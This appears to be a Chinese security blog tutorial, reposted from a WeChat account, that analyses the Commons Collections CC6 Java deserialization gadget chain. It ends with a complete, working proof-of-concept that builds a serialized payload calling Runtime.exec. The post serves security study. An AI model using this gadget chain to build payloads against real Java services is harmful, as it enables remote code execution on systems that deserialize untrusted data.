关注公众号夜风Sec
内回复java
,获取java审计代码
视频资料
CC6
不限制JDK
版本、也不限制CommonsCollections
的版本
❝
分析
后半部分的链和前面是一样的
/*
HashMap.readObject() -> hash(key) -> key.hashCode()
TiedMapEntry.hashCode() -> getValue() -> map.get(key)
LazyMap.get() -> factory.transform()
ChainedTransformer.transform()
ConstantTransformer(Runtime.class)->直接返回Runtime.class
getMethod("getRuntime", null) -> 获取Runtime.getRuntime()
invoke(null, null) -> 实际执行 Runtime.getRuntime() -> 获取Runtime实例
调用exec("calc") -> Runtime.getRuntime.exec("calc")
InvokerTransformer.transform()
*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, newObject[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
❝
后续需要寻找哪里还调用了
transform
方法,在之前的CC1
链时,就看到过其他的类这里我们用
LazyMap
类的get
方法
❝
先看
LazyMap
类的内容静态方法
decorate
-> 调用构造函数 -> 参数factory
可控接下来寻找哪里调用了
get
方法 -> 这个就很多了 -> 可以直接参考大佬找出来的链子
❝
TiedMapEntry
类,hashCode
->getValue
->map.get(key)
public
的构造函数 ->map
和key
均可控
❝
接下来就是
hashCode
的寻找 ->HashMap
类 -> 在URLDNS
链中就用到了
HashCode.readObject -> hash(Key) -> key.hashCode()
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb"); // 这里的put就提前走了一遍这个链子了
serialize(map2);
// unserialize("cc6.bin");
❝
此时运行,发现在序列化的时候就已经弹计算器了
debug
分析 ->map2.put()
的时候就会提前触发这条链了
❝
中断链,
new ConstantTransformer(1)
-> 将chainedTransformer
修改为一个无关紧要的值 从而中断map2.put
//Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
❝
再通过反射来将这个值改为
chainedTransformer
Class c = lazyMap.getClass();
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
❝
此时运行序列化不会再弹计算器了,但是反序列化时发现也不会弹计算器,看哪里出了问题
在
unserialize("cc6.bin")
下断点,逐个走,发现这个没有进入if
语句根据语义,
map
参数不能包含key
才能进入if
,而这个key
来自我们自己传入的值当我们去掉其他所有断点,只给这个
if
下一个断点时发现,可以进if
注意这个
if
里面有put
的操作,所以我要remove
掉我们传入的key
lazyMap.remove("aaa");
❝
最后
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
publicclassCC6Test{
publicstaticvoidmain(String[] args)throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, newObject[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
serialize(map2);
unserialize("cc6.bin");
}
publicstaticvoidserialize(Object obj)throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
oos.writeObject(obj);
}
publicstaticvoidunserialize(String fileName)throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
ois.readObject();
}
}
原文始发于微信公众号(夜风Sec):Java安全-CC6链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论